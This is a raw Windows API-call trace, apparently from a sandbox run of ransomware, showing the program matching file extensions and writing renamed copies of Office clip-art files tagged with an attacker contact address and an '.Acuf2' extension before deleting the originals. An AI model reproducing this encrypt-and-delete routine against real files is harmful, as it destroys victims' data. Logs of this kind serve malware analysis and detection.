	[0265.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.213] lstrlenW (lpString=".docx") returned 5
	[0265.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.213] lstrlenW (lpString=".pdf") returned 4
	[0265.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.213] lstrlenW (lpString=".xls") returned 4
	[0265.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.213] lstrlenW (lpString=".xlsx") returned 5
	[0265.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.213] lstrlenW (lpString=".ppt") returned 4
	[0265.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.213] lstrlenW (lpString=".zip") returned 4
	[0265.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.213] lstrlenW (lpString=".rar") returned 4
	[0265.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.214] lstrlenW (lpString=".bz2") returned 4
	[0265.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.214] lstrlenW (lpString=".7z") returned 3
	[0265.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.214] lstrlenW (lpString=".dbf") returned 4
	[0265.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.214] lstrlenW (lpString=".1cd") returned 4
	[0265.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.214] lstrlenW (lpString=".jpg") returned 4
	[0265.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.226] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3298) returned 1
	[0265.226] CloseHandle (hObject=0x350) returned 1
	[0265.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20
	[0265.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0265.250] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.250] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.279] GetLastError () returned 0x0
	[0265.279] ReadFile (in: hFile=0x214, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xce2, lpOverlapped=0x0) returned 1
	[0265.422] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xcf0, lpOverlapped=0x0) returned 1
	[0265.423] ReadFile (in: hFile=0x214, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.423] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.423] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.423] CloseHandle (hObject=0x2a4) returned 1
	[0265.423] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.423] SetEndOfFile (hFile=0x214) returned 1
	[0265.425] CloseHandle (hObject=0x214) returned 1
	[0265.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0265.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.803] lstrlenW (lpString=".doc") returned 4
	[0265.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.803] lstrlenW (lpString=".docx") returned 5
	[0265.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.803] lstrlenW (lpString=".pdf") returned 4
	[0265.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.803] lstrlenW (lpString=".xls") returned 4
	[0265.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.803] lstrlenW (lpString=".xlsx") returned 5
	[0265.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.803] lstrlenW (lpString=".ppt") returned 4
	[0265.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.803] lstrlenW (lpString=".zip") returned 4
	[0265.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.804] lstrlenW (lpString=".rar") returned 4
	[0265.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.804] lstrlenW (lpString=".bz2") returned 4
	[0265.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.804] lstrlenW (lpString=".7z") returned 3
	[0265.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.804] lstrlenW (lpString=".dbf") returned 4
	[0265.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.804] lstrlenW (lpString=".1cd") returned 4
	[0265.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63
	[0265.804] lstrlenW (lpString=".jpg") returned 4
	[0265.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.804] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11490) returned 1
	[0265.804] CloseHandle (hObject=0x344) returned 1
	[0265.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20
	[0265.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.826] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.826] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0267.748] GetLastError () returned 0x0
	[0267.748] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2ce2, lpOverlapped=0x0) returned 1
	[0267.751] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2cf0, lpOverlapped=0x0) returned 1
	[0267.751] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.752] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.752] SetEndOfFile (hFile=0x274) returned 1
	[0267.752] CloseHandle (hObject=0x274) returned 1
	[0267.752] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.752] SetEndOfFile (hFile=0x35c) returned 1
	[0267.754] CloseHandle (hObject=0x35c) returned 1
	[0267.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0267.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.882] lstrlenW (lpString=".doc") returned 4
	[0267.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.882] lstrlenW (lpString=".docx") returned 5
	[0267.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.882] lstrlenW (lpString=".pdf") returned 4
	[0267.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.882] lstrlenW (lpString=".xls") returned 4
	[0267.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.882] lstrlenW (lpString=".xlsx") returned 5
	[0267.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.882] lstrlenW (lpString=".ppt") returned 4
	[0267.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.883] lstrlenW (lpString=".zip") returned 4
	[0267.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.883] lstrlenW (lpString=".rar") returned 4
	[0267.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.883] lstrlenW (lpString=".bz2") returned 4
	[0267.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.883] lstrlenW (lpString=".7z") returned 3
	[0267.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.883] lstrlenW (lpString=".dbf") returned 4
	[0267.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.883] lstrlenW (lpString=".1cd") returned 4
	[0267.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63
	[0267.883] lstrlenW (lpString=".jpg") returned 4
	[0267.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.883] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4340) returned 1
	[0267.884] CloseHandle (hObject=0x364) returned 1
	[0267.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20
	[0267.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0267.884] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.884] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0267.884] GetLastError () returned 0x0
	[0267.884] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x10f4, lpOverlapped=0x0) returned 1
	[0267.893] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1100, lpOverlapped=0x0) returned 1
	[0267.894] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.894] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.894] SetEndOfFile (hFile=0x368) returned 1
	[0267.894] CloseHandle (hObject=0x368) returned 1
	[0267.894] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.894] SetEndOfFile (hFile=0x364) returned 1
	[0267.896] CloseHandle (hObject=0x364) returned 1
	[0267.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0267.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.896] lstrlenW (lpString=".doc") returned 4
	[0267.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.896] lstrlenW (lpString=".docx") returned 5
	[0267.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.896] lstrlenW (lpString=".pdf") returned 4
	[0267.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString=".xls") returned 4
	[0267.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.897] lstrlenW (lpString=".xlsx") returned 5
	[0267.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.897] lstrlenW (lpString=".ppt") returned 4
	[0267.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.897] lstrlenW (lpString=".zip") returned 4
	[0267.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.897] lstrlenW (lpString=".rar") returned 4
	[0267.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString=".bz2") returned 4
	[0267.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString=".7z") returned 3
	[0267.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.897] lstrlenW (lpString=".dbf") returned 4
	[0267.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.897] lstrlenW (lpString=".1cd") returned 4
	[0267.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63
	[0267.897] lstrlenW (lpString=".jpg") returned 4
	[0267.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.898] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7098) returned 1
	[0267.898] CloseHandle (hObject=0x364) returned 1
	[0267.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20
	[0267.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0267.898] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.898] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0267.898] GetLastError () returned 0x0
	[0267.898] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1bba, lpOverlapped=0x0) returned 1
	[0267.905] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1bc0, lpOverlapped=0x0) returned 1
	[0267.906] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.906] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.906] SetEndOfFile (hFile=0x368) returned 1
	[0267.906] CloseHandle (hObject=0x368) returned 1
	[0267.906] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.906] SetEndOfFile (hFile=0x364) returned 1
	[0267.908] CloseHandle (hObject=0x364) returned 1
	[0267.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0267.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.909] lstrlenW (lpString=".doc") returned 4
	[0267.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.909] lstrlenW (lpString=".docx") returned 5
	[0267.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.909] lstrlenW (lpString=".pdf") returned 4
	[0267.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.909] lstrlenW (lpString=".xls") returned 4
	[0267.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.909] lstrlenW (lpString=".xlsx") returned 5
	[0267.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.909] lstrlenW (lpString=".ppt") returned 4
	[0267.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.909] lstrlenW (lpString=".zip") returned 4
	[0267.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.909] lstrlenW (lpString=".rar") returned 4
	[0267.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.909] lstrlenW (lpString=".bz2") returned 4
	[0267.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.909] lstrlenW (lpString=".7z") returned 3
	[0267.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.909] lstrlenW (lpString=".dbf") returned 4
	[0267.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.910] lstrlenW (lpString=".1cd") returned 4
	[0267.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63
	[0267.910] lstrlenW (lpString=".jpg") returned 4
	[0267.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.911] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1148) returned 1
	[0267.911] CloseHandle (hObject=0x364) returned 1
	[0267.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20
